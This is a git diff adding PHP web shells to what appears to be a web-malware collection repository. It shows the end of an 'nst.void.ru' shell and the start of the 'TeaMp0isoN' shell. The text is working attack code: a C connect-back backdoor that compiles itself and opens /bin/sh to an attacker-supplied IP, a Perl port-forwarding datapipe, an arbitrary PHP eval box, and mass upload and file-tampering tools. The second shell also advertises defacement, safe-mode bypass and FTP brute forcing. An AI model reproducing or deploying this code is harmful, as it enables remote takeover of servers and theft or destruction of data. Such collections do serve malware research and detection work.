+unlink(".nst_bd_tmp/nst_c_bd.c"); +rmdir(".nst_bd_tmp"); +} +} +$show_ps="1"; +}#end of c bd + + +if($_POST['bc_c']){ # nc -l -p 4500 +$port_c = $_POST['port_c']; +$ip=$_POST['ip']; +$bc_c_scp = "#include <stdio.h> +#include <sys/types.h> +#include <sys/socket.h> +#include <unistd.h> +#include <fcntl.h> + +#include <netinet/in.h> +#include <netdb.h> + +int fd, sock; +int port = $port_c; +struct sockaddr_in addr; + +char mesg[] = \"::Connect-Back Backdoor:: CMD: \"; +char shell[] = \"/bin/sh\"; + +int main(int argc, char *argv[]) { + while(argc<2) { + fprintf(stderr, \" %s <ip> \", argv[0]); + exit(0); } + +addr.sin_family = AF_INET; +addr.sin_port = htons(port); +addr.sin_addr.s_addr = inet_addr(argv[1]); +fd = socket(AF_INET, SOCK_STREAM, 0); +connect(fd, (struct sockaddr*)&addr, sizeof(addr)); + +send(fd, mesg, sizeof(mesg), 0); + +dup2(fd, 0); +dup2(fd, 1); +dup2(fd, 2); +execl(shell, \"in.telnetd\", 0); + +close(fd); +return 1; +} + +"; + +if(is_writable("/tmp")){ +if(file_exists("/tmp/nst_c_bc_c.c")){unlink("/tmp/nst_c_bc_c.c");} +if(file_exists("/tmp/nst_c_bc_c.c")){unlink("/tmp/nst_c_bc");} +$fp=fopen("/tmp/nst_c_bc_c.c","w"); +$bd_c_scp=str_replace("!n","\n",$bd_c_scp); +fwrite($fp,"$bc_c_scp"); +passthru("gcc /tmp/nst_c_bc_c.c -o /tmp/nst_bc_c"); +passthru("nohup /tmp/nst_bc_c $ip &"); +unlink("/tmp/nst_bc_c"); +unlink("/tmp/nst_bc_c.c"); +}else{ +if(is_writable(".")){ +mkdir(".nst_bc_c_tmp"); +$fp=fopen(".nst_bc_c_tmp/nst_c_bc_c.c","w"); +$bd_c_scp=str_replace("!n","\n",$bd_c_scp); +fwrite($fp,"$bc_c_scp"); +passthru("gcc .nst_bc_c_tmp/nst_c_bc_c.c -o .nst_bc_c_tmp/nst_bc_c"); +passthru("nohup .nst_bc_c_tmp/nst_bc_c $ip &"); +unlink(".nst_bc_c_tmp/nst_bc_c.c"); +unlink(".nst_bc_c_tmp/nst_bc_c"); +rmdir(".nst_bc_c_tmp"); +} +} +$show_ps="1"; + +}#end of back connect C + + +if($_POST['datapipe_pl']){ +$port_2=$_POST['port_2']; +$port_3=$_POST['port_3']; +$ip=$_POST['ip']; +$datapipe_pl = " +#!/usr/bin/perl +# coded by CuTTer (rus hacker) +use IO::Socket; +use POSIX; + +\$localport=$port_2; +\$host=\"$ip\"; +\$port=$port_3; + +\$daemon=1; + +\$DIR = undef; + +## �������� ��� ������� (1-��, 0-���) +\$log=0; + + + + +\$| = 1; + +if (\$daemon){ + print \"3anycKaeM daemon\n\"; + + \$pid = fork; + exit if \$pid; + die \"Couldn't fork: \$!\" unless defined(\$pid); + POSIX::setsid() or die \"Can't start a new session: \$!\"; +} + +%o = ('port' => \$localport, + 'toport' => \$port, + 'tohost' => \$host); + +\$ah = IO::Socket::INET->new( + 'LocalPort' => \$localport, + 'Reuse' => 1, + 'Listen' => 10) + || die \"������ ������� ����� ��� ����������: \$!\"; + +print \"�������� ���������� �����.\n\" if \$log; +\$SIG{'CHLD'} = 'IGNORE'; +\$num = 0; +while (1) { + \$ch = \$ah->accept(); + if (!\$ch) { + print STDERR \"�������� ��������� accept: \$!\n\"; + next; + } + + printf(\"����� ������: host %s, port %s.\n\", + \$ch->peerhost(), \$ch->peerport()) if \$log; + ++\$num; + \$pid = fork(); + if (!defined(\$pid)) { + print STDERR \"���������� ��������� fork: \$!\n\"; + } elsif (\$pid == 0) { +## ����� ������� + \$ah->close(); + Run(\%o, \$ch, \$num); + } else { + print \"Parent: Fork ������ �������, ��������� �����.\n\" if \$log; + \$ch->close(); + } +} + + +sub Run { + my(\$o, \$ch, \$num) = @_; + my \$th = IO::Socket::INET->new('PeerAddr' => \$o->{'tohost'}, + 'PeerPort' => \$o->{'toport'}); + print(\"Child: ������ �������� �� \$o->{'tohost'}, ���� \$o->{'toport'}.\n\") if \$log; + if (!\$th) { + printf STDERR (\"Child: ������� �������� �� %s, ���� %s.\n\", + \$o->{'tohost'}, \$o->{'toport'}); + exit 0; + } + + my \$fh; + if (\$o->{'dir'}) { + \$fh = Symbol::gensym(); + open(\$fh, \">\$o->{'dir'}/tunnel\$num.log\") + or die \"Child: �������� �������� ��� ����� \$o->{'dir'}/tunnel\$num.log: \$!\"; + } + + \$ch->autoflush(); + \$th->autoflush(); + while (\$ch || \$th) { + print \"Child: �������� ����.\n\" if \$log; + my \$rin = \"\"; + vec(\$rin, fileno(\$ch), 1) = 1 if \$ch; + vec(\$rin, fileno(\$th), 1) = 1 if \$th; + my(\$rout, \$eout); + select(\$rout = \$rin, undef, \$eout = \$rin, 120); + if (!\$rout && !\$eout) { + print STDERR \"Child: ������ Timeout.\n\"; + } + my \$cbuffer = \"\"; + my \$tbuffer = \"\"; + + if (\$ch && (vec(\$eout, fileno(\$ch), 1) || vec(\$rout, fileno(\$ch), 1))) { + print \"Child: ���� ������ �� �������.\n\" if \$log; + my \$result = sysread(\$ch, \$tbuffer, 1024); + if (!defined(\$result)) { + print STDERR \"Child: ������ ��� ���������� ������ �������: \$!\n\"; + exit 0; + } + if (\$result == 0) { + print \"Child: ������ ������������.\n\" if \$log; + exit 0; + } + + print \"Child: ������: \$cbuffer\n\" if \$log; + } + + if (\$th && (vec(\$eout, fileno(\$th), 1) || vec(\$rout, fileno(\$th), 1))) { + print \"Child: ���� ������.\n\" if \$log; + my \$result = sysread(\$th, \$cbuffer, 1024); + if (!defined(\$result)) { + print STDERR \"Child: ���������� ������� ������: \$!\n\"; + exit 0; + } + + if (\$result == 0) { + print \"Child: ��������� ������������.\n\" if \$log; + exit 0; + } + + print \"Child: ������: \$cbuffer\n\" if \$log; + } + + if (\$fh && \$tbuffer) { + (print \$fh \$tbuffer); + } + + while (my \$len = length(\$tbuffer)) { + print \"Child: ���������� \$len ����.\n\" if \$log; + my \$res = syswrite(\$th, \$tbuffer, \$len); + print \"Child: ������ ����������.\n\" if \$log; + if (\$res > 0) { + \$tbuffer = substr(\$tbuffer, \$res); + } else { + print STDERR \"Child: ���������� ��������� ������: \$!\n\"; + } + } + + while (my \$len = length(\$cbuffer)) { + print \"Child: ���������� \$len ���� �������.\n\" if \$log; + my \$res = syswrite(\$ch, \$cbuffer, \$len); + print \"Child: ������ ����������..\n\" if \$log; + if (\$res > 0) { + \$cbuffer = substr(\$cbuffer, \$res); + } else { + print STDERR \"Child: ���������� ��������� ������: \$!\n\"; + } + } + } +} + +"; + +if(is_writable("/tmp")){ +$fp=fopen("/tmp/nst_perl_datapipe.pl","w"); +fwrite($fp,"$datapipe_pl"); +passthru("nohup perl /tmp/nst_perl_datapipe.pl &"); +unlink("/tmp/nst_perl_datapipe.pl"); +}else{ +if(is_writable(".")){ +mkdir(".nst_datapipe_tmp"); +$fp=fopen(".nst_datapipe_tmp/nst_perl_datapipe.pl","w"); +fwrite($fp,"$datapipe_pl"); +passthru("nohup perl .nst_datapipe_tmp/nst_perl_datapipe.pl &"); +unlink(".nst_datapipe_tmp/nst_perl_datapipe.pl"); +rmdir(".nst_datapipe_tmp"); +} +} +$show_ps="1"; + +}#end of datapipe perl + + + + + +if($show_ps=="1"){ +print "<center><b>[ps ux]</b></center><br><br>"; +print "<pre>"; +passthru("ps ux"); +print "</pre><br><br>"; +} + + + +echo "<form method=post><b>md5:</b><br><input name=md5 size=30> +<Br> +md5 online encoder/decoder (brutforce) (php) - [<a href=http://nst.void.ru/?q=releases&download=4>DOWNLOAD</a>] +</form> +"; +@$md5=@$_POST['md5']; +if(@$_POST['md5']){ echo "md5:<br><textarea rows=1 cols=113>".md5($md5)."</textarea>";} +echo "<br> +<form method=post><b>base64 e/d:</b><br><input name=base64 size=30></form><br>"; +if(@$_POST['base64']){ +@$base64=$_POST['base64']; +echo " +<b>Encode: <br><textarea rows=15 cols=113>".base64_encode($base64)."</textarea><br> +Decode:</b> <br><textarea rows=15 cols=113>".base64_decode($base64)."</textarea><br>";} +echo "<br> +<form method=post><b>DES:</b><br><input name=des size=30><br> +John The Ripper [<a href=http://www.openwall.com/john/ target=_blank>Web</a>]</form><br>"; +if(@$_POST['des']){ +@$des=@$_POST['des']; +echo "<b>Des:</b> <br><textarea rows=15 cols=113>".crypt($des)."</textarea>";} + +print " +<b>eval:</b<br> +(example: print \"Hello World\";) +<form method=post> +<font color=red><b>&lt;?</b><br> +<textarea name=eval rows=15 cols=113></textarea><br> +<b>?&gt;</b></font><br> +<input type=submit value=Run style='width:150px;'> +</form><br> +"; + +function eval_sl($editf){ +if(get_magic_quotes_gpc()==1){ +$editf=stripslashes($editf); +} +return $editf; +} + + +if($_POST['eval']){ +print "<b>RESULT:<br><br></b>"; +eval(eval_sl($_POST['eval'])); +print "<br><br>"; + +print "<font color=green><b>PHP:</b><br>\r\n\r\n"; +print "&lt;?\r\n"; +print "<br>"; +print htmlspecialchars(eval_sl(($_POST['eval']))); +print "<br>"; +print "?&gt;\r\n\r\n</font><br><br>"; + +} + +echo $copyr; +exit;} + +if(@$_GET['replace']=="1"){ +$ip=@$_SERVER['REMOTE_ADDR']; +$d=$_GET['d']; +$e=$_GET['e']; +@$de=$d."/".$e; +$de=str_replace("//","/",$de); +$e=@$e; +echo "[<a href='$php_self?d=$d&del_f=1&wich_f=$e'>Delete</a>] [<a href='$php_self?d=$d&ef=$e&edit=1'>Edit</a>] [<a href='$php_self?d=$d&e=$e&clean=1'>Filesize to 0 byte</a>] [<a href='$php_self?d=$d&e=$e&replace=1'>Replace text in file</a>] [<a href='$php_self?d=$d&download=$e'>Download</a>] [<a href='$php_self?d=$d&rename=1&wich_f=$e'>Rename</a>] [<a href='$php_self?d=$d&chmod=1&wich_f=$e'>CHMOD</a>] [<a href='$php_self?d=$d&ccopy_to=$e'>Copy</a>]<br>"; +echo " +Replace tool:<br> +(You can replace any text)<br> +File: $de<br> +<form method=post> +1. Your ip.<br> +2. microsoft.com ip :)<br> +Replace this <input name=thisX size=30 value=$ip> by this <input name=bythis size=30 value=207.46.245.156> +<input type=submit name=doit value=Replace> +</form> +"; + +if(@$_POST['doit']){ +@$thisX=$_POST['thisX']; +@$bythis=$_POST['bythis']; +@$e=$_GET['e']; +$filename="$d/$e"; +$fd = @fopen ($filename, "r"); +$rpl = @fread ($fd, @filesize ($filename)); +$re=str_replace("$thisX","$bythis",$rpl); +$x=@fopen("$d/$e","w"); +@fwrite($x,"$re"); +echo "<br><center>$thisX Replaced by $bythis<br> +[<a href='$php_self?d=$d&e=$e'>VIew file</a>]<br><br><Br>"; + +} +echo $copyr; +exit;} + + +if(@$_GET['t']=="upload"){ +echo "<br> +<a href='$php_self?d=$d&t=massupload'>* Mass upload *</a><br> +File upload:<br> +<form enctype=\"multipart/form-data\" method=post> +<input type=file name=text size=50><br> +<input name=where size=52 value='$d'><br> +New file name:<br> +<input name=newf size=30 autocomplete=off> (if empty, it will be default)<br> +<input type=submit value=Upload name=uploadf> +</form><br> +"; + +if(@$_POST['uploadf']){ +$where=$_POST['where']; +$newf=$_POST['newf']; +$where=str_replace("//","/",$where); +if($newf==""){$newf=$_FILES['text']['name'];}else{$newf=$newf;} +$uploadfile = "$where/".$newf; +if (@move_uploaded_file(@$_FILES['text']['tmp_name'], $uploadfile)) { +$uploadfile=str_replace("//","/",$uploadfile); +echo "<i><br>Uploaded to $uploadfile</i><br>"; +}else{ +echo "<i><br>Error</i><br>";} +} +} + +if(@$_GET['t']=="massupload"){ +echo " +Mass upload:<br> +<form enctype=\"multipart/form-data\" method=post> +<input type=file name=text1 size=43> <input type=file name=text11 size=43><br> +<input type=file name=text2 size=43> <input type=file name=text12 size=43><br> +<input type=file name=text3 size=43> <input type=file name=text13 size=43><br> +<input type=file name=text4 size=43> <input type=file name=text14 size=43><br> +<input type=file name=text5 size=43> <input type=file name=text15 size=43><br> +<input type=file name=text6 size=43> <input type=file name=text16 size=43><br> +<input type=file name=text7 size=43> <input type=file name=text17 size=43><br> +<input type=file name=text8 size=43> <input type=file name=text18 size=43><br> +<input type=file name=text9 size=43> <input type=file name=text19 size=43><br> +<input type=file name=text10 size=43> <input type=file name=text20 size=43><br> +<input name=where size=43 value='$d'><br> +<input type=submit value=Upload name=massupload> +</form><br>"; + +if(@$_POST['massupload']){ +$where=@$_POST['where']; +$uploadfile1 = "$where/".@$_FILES['text1']['name']; +$uploadfile2 = "$where/".@$_FILES['text2']['name']; +$uploadfile3 = "$where/".@$_FILES['text3']['name']; +$uploadfile4 = "$where/".@$_FILES['text4']['name']; +$uploadfile5 = "$where/".@$_FILES['text5']['name']; +$uploadfile6 = "$where/".@$_FILES['text6']['name']; +$uploadfile7 = "$where/".@$_FILES['text7']['name']; +$uploadfile8 = "$where/".@$_FILES['text8']['name']; +$uploadfile9 = "$where/".@$_FILES['text9']['name']; +$uploadfile10 = "$where/".@$_FILES['text10']['name']; +$uploadfile11 = "$where/".@$_FILES['text11']['name']; +$uploadfile12 = "$where/".@$_FILES['text12']['name']; +$uploadfile13 = "$where/".@$_FILES['text13']['name']; +$uploadfile14 = "$where/".@$_FILES['text14']['name']; +$uploadfile15 = "$where/".@$_FILES['text15']['name']; +$uploadfile16 = "$where/".@$_FILES['text16']['name']; +$uploadfile17 = "$where/".@$_FILES['text17']['name']; +$uploadfile18 = "$where/".@$_FILES['text18']['name']; +$uploadfile19 = "$where/".@$_FILES['text19']['name']; +$uploadfile20 = "$where/".@$_FILES['text20']['name']; +if (@move_uploaded_file(@$_FILES['text1']['tmp_name'], $uploadfile1)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>Uploaded to $uploadfile1</i><br>";} +if (@move_uploaded_file(@$_FILES['text2']['tmp_name'], $uploadfile2)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>Uploaded to $uploadfile2</i><br>";} +if (@move_uploaded_file(@$_FILES['text3']['tmp_name'], $uploadfile3)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>Uploaded to $uploadfile3</i><br>";} +if (@move_uploaded_file(@$_FILES['text4']['tmp_name'], $uploadfile4)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>Uploaded to $uploadfile4</i><br>";} +if (@move_uploaded_file(@$_FILES['text5']['tmp_name'], $uploadfile5)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>Uploaded to $uploadfile5</i><br>";} +if (@move_uploaded_file(@$_FILES['text6']['tmp_name'], $uploadfile6)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>Uploaded to $uploadfile6</i><br>";} +if (@move_uploaded_file(@$_FILES['text7']['tmp_name'], $uploadfile7)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>Uploaded to $uploadfile7</i><br>";} +if (@move_uploaded_file(@$_FILES['text8']['tmp_name'], $uploadfile8)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>Uploaded to $uploadfile8</i><br>";} +if (@move_uploaded_file(@$_FILES['text9']['tmp_name'], $uploadfile9)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>Uploaded to $uploadfile9</i><br>";} +if (@move_uploaded_file(@$_FILES['text10']['tmp_name'], $uploadfile10)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>Uploaded to $uploadfile10</i><br>";} +if (@move_uploaded_file(@$_FILES['text11']['tmp_name'], $uploadfile11)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>Uploaded to $uploadfile11</i><br>";} +if (@move_uploaded_file(@$_FILES['text12']['tmp_name'], $uploadfile12)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>Uploaded to $uploadfile12</i><br>";} +if (@move_uploaded_file(@$_FILES['text13']['tmp_name'], $uploadfile13)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>Uploaded to $uploadfile13</i><br>";} +if (@move_uploaded_file(@$_FILES['text14']['tmp_name'], $uploadfile14)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>Uploaded to $uploadfile14</i><br>";} +if (@move_uploaded_file(@$_FILES['text15']['tmp_name'], $uploadfile15)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>Uploaded to $uploadfile15</i><br>";} +if (@move_uploaded_file(@$_FILES['text16']['tmp_name'], $uploadfile16)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>Uploaded to $uploadfile16</i><br>";} +if (@move_uploaded_file(@$_FILES['text17']['tmp_name'], $uploadfile17)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>Uploaded to $uploadfile17</i><br>";} +if (@move_uploaded_file(@$_FILES['text18']['tmp_name'], $uploadfile18)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>Uploaded to $uploadfile18</i><br>";} +if (@move_uploaded_file(@$_FILES['text19']['tmp_name'], $uploadfile19)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>Uploaded to $uploadfile19</i><br>";} +if (@move_uploaded_file(@$_FILES['text20']['tmp_name'], $uploadfile20)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>Uploaded to $uploadfile20</i><br>";} +} +echo $copyr; +exit;} + +if(@$_GET['yes']=="yes"){ +$d=@$_GET['d']; $e=@$_GET['e']; +unlink($d."/".$e); +$delresult="Success $d/$e deleted <meta http-equiv=\"REFRESH\" content=\"2;URL=$php_self?d=$d\">"; +} +if(@$_GET['clean']=="1"){ +@$e=$_GET['e']; +$x=fopen("$d/$e","w"); +fwrite($x,""); +echo "<meta http-equiv=\"REFRESH\" content=\"0;URL=$php_self?d=$d&e=".@$e."\">"; +exit; +} + + +if(@$_GET['e']){ +$d=@$_GET['d']; +$e=@$_GET['e']; +$pinf=pathinfo($e); +if(in_array(".".@$pinf['extension'],$images)){ +echo "<meta http-equiv=\"REFRESH\" content=\"0;URL=$php_self?d=$d&e=$e&img=1\">"; +exit;} +$filename="$d/$e"; +$fd = @fopen ($filename, "r"); +$c = @fread ($fd, @filesize ($filename)); +$c=htmlspecialchars($c); +$de=$d."/".$e; +$de=str_replace("//","/",$de); +if(is_file($de)){ +if(!is_writable($de)){echo "<font color=red>READ ONLY</font><br>";}} +echo "[<a href='$php_self?d=$d&del_f=1&wich_f=$e'>Delete</a>] [<a href='$php_self?d=$d&ef=$e&edit=1'>Edit</a>] [<a href='$php_self?d=$d&e=$e&clean=1'>Filesize to 0 byte</a>] [<a href='$php_self?d=$d&e=$e&replace=1'>Replace text in file</a>] [<a href='$php_self?d=$d&download=$e'>Download</a>] [<a href='$php_self?d=$d&rename=1&wich_f=$e'>Rename</a>] [<a href='$php_self?d=$d&chmod=1&wich_f=$e'>CHMOD</a>] [<a href='$php_self?d=$d&ccopy_to=$e'>Copy</a>]<br>"; +echo " +File contents:<br> +$de +<br> +<table width=100% border=1 cellpadding=0 cellspacing=0> +<tr><td><pre> +$c + +</pre></td></tr> +</table> + +"; + +if(@$_GET['delete']=="1"){ +$delete=$_GET['delete']; +echo " +DELETE: Are you sure?<br> +<a href=\"$php_self?d=$d&e=$e&delete=".@$delete."&yes=yes\">Yes</a> || <a href='$php_self?no=1'>No</a> +<br> +"; +if(@$_GET['yes']=="yes"){ +@$d=$_GET['d']; @$e=$_GET['e']; +echo $delresult; +} +if(@$_GET['no']){ +echo "<meta http-equiv=\"REFRESH\" content=\"0;URL=$php_self?d=$d&e=$e\"> +"; +} + + +} #end of delete +echo $copyr; +exit; +} #end of e + +if(@$_GET['edit']=="1"){ +@$d=$_GET['d']; +@$ef=$_GET['ef']; +$e=$ef; +if(is_file($d."/".$ef)){ +if(!is_writable($d."/".$ef)){echo "<font color=red>READ ONLY</font><br>";}} +echo "[<a href='$php_self?d=$d&del_f=1&wich_f=$e'>Delete</a>] [<a href='$php_self?d=$d&ef=$e&edit=1'>Edit</a>] [<a href='$php_self?d=$d&e=$e&clean=1'>Filesize to 0 byte</a>] [<a href='$php_self?d=$d&e=$e&replace=1'>Replace text in file</a>] [<a href='$php_self?d=$d&download=$e'>Download</a>] [<a href='$php_self?d=$d&rename=1&wich_f=$e'>Rename</a>] [<a href='$php_self?d=$d&chmod=1&wich_f=$e'>CHMOD</a>] [<a href='$php_self?d=$d&ccopy_to=$e'>Copy</a>]<br>"; +$filename="$d/$ef"; +$fd = @fopen ($filename, "r"); +$c = @fread ($fd, @filesize ($filename)); +$c=htmlspecialchars($c); +$de=$d."/".$ef; +$de=str_replace("//","/",$de); +echo " +Edit:<br> +$de<br>"; + +if(!@$_POST['save']){ +print " +<form method=post> +<input name=filename value='$d/$ef'> +<textarea cols=143 rows=30 name=editf>$c</textarea> +<br> +<input type=submit name=save value='Save changes'></form><br> +"; +} +if(@$_POST['save']){ +$editf=@$_POST['editf']; + +if(get_magic_quotes_runtime() or get_magic_quotes_gpc()){ +$editf=stripslashes($editf); +} + +$f=fopen($filename,"w+"); +fwrite($f,"$editf"); +echo "<br> +<b>File edited.</b> +<meta http-equiv=\"REFRESH\" content=\"0;URL=$php_self?d=$d&e=$ef\">"; +exit; +} +echo $copyr; +exit; +} + + + +echo" +<table width=100% cellpadding=1 cellspacing=0 class=hack> +<tr><td bgcolor=#519A00><center><b>Filename</b></td><td bgcolor=#519A00><center><b>Tools</b></td><td bgcolor=#519A00><b>Size</b></td><td bgcolor=#519A00><center><b>Owner/Group</b></td><td bgcolor=#519A00><b>Perms</b></td></tr> +"; +$dirs=array(); +$files=array(); +$dh = @opendir($d) or die("<table width=100%><tr><td><center>Permission Denied or Folder/Disk does not exist</center><br>$copyr</td></tr></table>"); +while (!(($file = readdir($dh)) === false)) { +if ($file=="." || $file=="..") continue; +if (@is_dir("$d/$file")) { + $dirs[]=$file; +}else{ + $files[]=$file; + } + sort($dirs); + sort($files); + +$fz=@filesize("$d/$file"); +} + +function perm($perms){ +if (($perms & 0xC000) == 0xC000) { + $info = 's'; +} elseif (($perms & 0xA000) == 0xA000) { + $info = 'l'; +} elseif (($perms & 0x8000) == 0x8000) { + $info = '-'; +} elseif (($perms & 0x6000) == 0x6000) { + $info = 'b'; +} elseif (($perms & 0x4000) == 0x4000) { + $info = 'd'; +} elseif (($perms & 0x2000) == 0x2000) { + $info = 'c'; +} elseif (($perms & 0x1000) == 0x1000) { + $info = 'p'; +} else { + $info = 'u'; +} +$info .= (($perms & 0x0100) ? 'r' : '-'); +$info .= (($perms & 0x0080) ? 'w' : '-'); +$info .= (($perms & 0x0040) ? + (($perms & 0x0800) ? 's' : 'x' ) : + (($perms & 0x0800) ? 'S' : '-')); +$info .= (($perms & 0x0020) ? 'r' : '-'); +$info .= (($perms & 0x0010) ? 'w' : '-'); +$info .= (($perms & 0x0008) ? + (($perms & 0x0400) ? 's' : 'x' ) : + (($perms & 0x0400) ? 'S' : '-')); +$info .= (($perms & 0x0004) ? 'r' : '-'); +$info .= (($perms & 0x0002) ? 'w' : '-'); +$info .= (($perms & 0x0001) ? + (($perms & 0x0200) ? 't' : 'x' ) : + (($perms & 0x0200) ? 'T' : '-')); +return $info; +} + + +for($i=0; $i<count($dirs); $i++){ + +$perms = @fileperms($d."/".$dirs[$i]); +$owner = @fileowner($d."/".$dirs[$i]); +if($os=="unix"){ +$fileownera=posix_getpwuid($owner); +$owner=$fileownera['name']; +} +$group = @filegroup($d."/".$dirs[$i]); +if($os=="unix"){ +$groupinfo = posix_getgrgid($group); +$group=$groupinfo['name']; +} +$info=perm($perms); +if($i%2){$color="#D7FFA8";}else{$color="#D1D1D1";} +$linkd="<a href='$php_self?d=$d/$dirs[$i]'>$dirs[$i]</a>"; +$linkd=str_replace("//","/",$linkd); +echo "<tr><td bgcolor=$color><font face=wingdings size=2>0</font> $linkd</td><td bgcolor=$color><center><font color=blue>DIR</font></td><td bgcolor=$color>&nbsp;</td><td bgcolor=$color><center>$owner/$group</td><td bgcolor=$color>$info</td></tr>"; +} + +for($i=0; $i<count($files); $i++){ + +$size=@filesize($d."/".$files[$i]); +$perms = @fileperms($d."/".$files[$i]); +$owner = @fileowner($d."/".$files[$i]); +if($os=="unix"){ +$fileownera=posix_getpwuid($owner); +$owner=$fileownera['name']; +} +$group = @filegroup($d."/".$files[$i]); +if($os=="unix"){ +$groupinfo = posix_getgrgid($group); +$group=$groupinfo['name']; +} +$info=perm($perms); +if($i%2){$color="#D1D1D1";}else{$color="#D7FFA8";} + +if ($size < 1024){$siz=$size.' b'; +}else{ +if ($size < 1024*1024){$siz=number_format(($size/1024), 2, '.', '').' kb';}else{ +if ($size < 1000000000){$siz=number_format($size/(1024*1024), 2, '.', '').' mb';}else{ +if ($size < 1000000000000){$siz=number_format($size/(1024*1024*1024), 2, '.', '').' gb';} +}}} +echo "<tr><td bgcolor=$color><font face=wingdings size=3>2</font> <a href='$php_self?d=$d&e=$files[$i]'>$files[$i]</a></td><td bgcolor=$color><center><a href=\"javascript:ShowOrHide('$i','')\">[options]</a><div id='$i' style='display:none;z-index:1;' ><a href='$php_self?d=$d&ef=$files[$i]&edit=1' title='Edit $files[$i]'><b>Edit</b></a><br><a href='$php_self?d=$d&del_f=1&wich_f=$files[$i]' title='Delete $files[$i]'><b>Delete</b></a><br><a href='$php_self?d=$d&chmod=1&wich_f=$files[$i]' title='chmod $files[$i]'><b>CHMOD</b></a><br><a href='$php_self?d=$d&rename=1&wich_f=$files[$i]' title='Rename $files[$i]'><b>Rename</b></a><br><a href='$php_self?d=$d&download=$files[$i]' title='Download $files[$i]'><b>Download</b></a><br><a href='$php_self?d=$d&ccopy_to=$files[$i]' title='Copy $files[$i] to?'><b>Copy</b></a></div></td><td bgcolor=$color>$siz</td><td bgcolor=$color><center>$owner/$group</td><td bgcolor=$color>$info</td></tr>"; +} + +echo "</table></td></tr></table>"; +echo $copyr; + +?> +<!-- Network security team :: nst.void.ru --> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/p0isoN.sh3ll.txt b/web-malware-collection-master/Backdoors/PHP/p0isoN.sh3ll.txt new file mode 100755 index 0000000..3ed608d --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/p0isoN.sh3ll.txt @@ -0,0 +1,3280 @@ +<?php +/* +------------------------------------------------------------------------------------------- +private! private! private! private! private! private! private! private! private! private! +------------------------------------------------------------------------------------------- + TeaMp0isoN Shell - Private Build [BETA] - v0.1 +------------------------------------------------------------------------------------------- +[ Features ] +- Mass Defacement Tool +- Safe Mode Bypass +- Open_Basedir Bypass +- Fixed SQL managed +- FTP Brute Force Tool +- Fully Undetected +------------------------------------------------------------------------------------------- +[+] Report all bugs to trick@p0ison.org - remember this is a BETA release, so please +report all the bugs you find so therefore we can fix them in the next version. +[+] Credits: w4ck1ngshell BackConnect & Backdoor Script/Code - FX_Shell Theme ripped +[+] Coded by TriCk & Hex00010 +------------------------------------------------------------------------------------------- + - Do no Leak - Do Not Sell - Do Not Distribute - +------------------------------------------------------------------------------------------- +private! private! private! private! private! private! private! private! private! private! +------------------------------------------------------------------------------------------- +*/ + +//w4ck1ng Shell +if (!function_exists('myshellexec')) +{ +if(is_callable('popen')){ +function myshellexec($command) { +if (!($p=popen("($command)2>&1",'r'))) { +return 126; +} +while (!feof($p)) { +$line=fgets($p,1000); +$out .= $line; +} +pclose($p); +return $out; +} +}else{ +function myshellexec($cmd) +{ + global $disablefunc; + $result = ''; + if (!empty($cmd)) + { + if (is_callable('exec') and !in_array('exec',$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);} + elseif (($result = `$cmd`) !== FALSE) {} + elseif (is_callable('system') and !in_array('system',$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} + elseif (is_callable('passthru') and !in_array('passthru',$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} + elseif (is_resource($fp = popen($cmd,'r'))) + { + $result = ''; + while(!feof($fp)) {$result .= fread($fp,1024);} + pclose($fp); + } + } + return $result; +} +} +} +$sh_name = sh_name(); + + +$curdir = "./"; +$tmpdir = ""; +$tmpdir_logs = "./"; +$log_email = "email@email.com"; +$sess_cookie = "cookie1"; +$sort_default = "0a"; +$sort_save = TRUE; +$usefsbuff = TRUE; +$copy_unset = FALSE; +$surl_autofill_include = TRUE; +$updatenow = FALSE; +$gzipencode = TRUE; +$filestealth = TRUE; +$hexdump_lines = 8; +$hexdump_rows = 24; +$millink = milw0rm(); +$win = strtolower(substr(PHP_OS,0,3)) == "win"; +$disablefunc = getdisfunc(); +error_reporting(E_ERROR | E_PARSE); +@ini_set("max_execution_time",0); +@set_time_limit(0); #No Fx in SafeMode +@ignore_user_abort(TRUE); +@set_magic_quotes_runtime(0); +define("starttime",getmicrotime()); +if (get_magic_quotes_gpc()) { strips($GLOBALS); } +$_REQUEST = array_merge($_COOKIE,$_GET,$_POST); +@$f = $_REQUEST["f"]; +@extract($_REQUEST["tpshcook"]); +foreach($_REQUEST as $k => $v) { if (!isset($$k)) { $$k = $v; } } + + +if ($surl_autofill_include) { + $include = "&"; + foreach (explode("&",getenv("QUERY_STRING")) as $v) { + $v = explode("=",$v); + $name = urldecode($v[0]); + $value = @urldecode($v[1]); + foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) { + if (strpos($value,$needle) === 0) { + $includestr .= urlencode($name)."=".urlencode($value)."&"; + } + } + } +} +#BC_ +if (!empty($_POST['backconnectport']) && ($_POST['use']=="shbd")) +{ + $ip = gethostbyname($_SERVER["HTTP_HOST"]); + $por = $_POST['backconnectport']; + if(is_writable(".")){ + cfb("shbd",$backdoor); + chmod('shbd', 0777); + $cmd = "./shbd $por"; + exec("$cmd > /dev/null &"); + $scan = myshellexec("ps aux"); + if(eregi("./shbd $por",$scan)){ $data = ("\n</br></br>Process found running, backdoor setup successfully."); 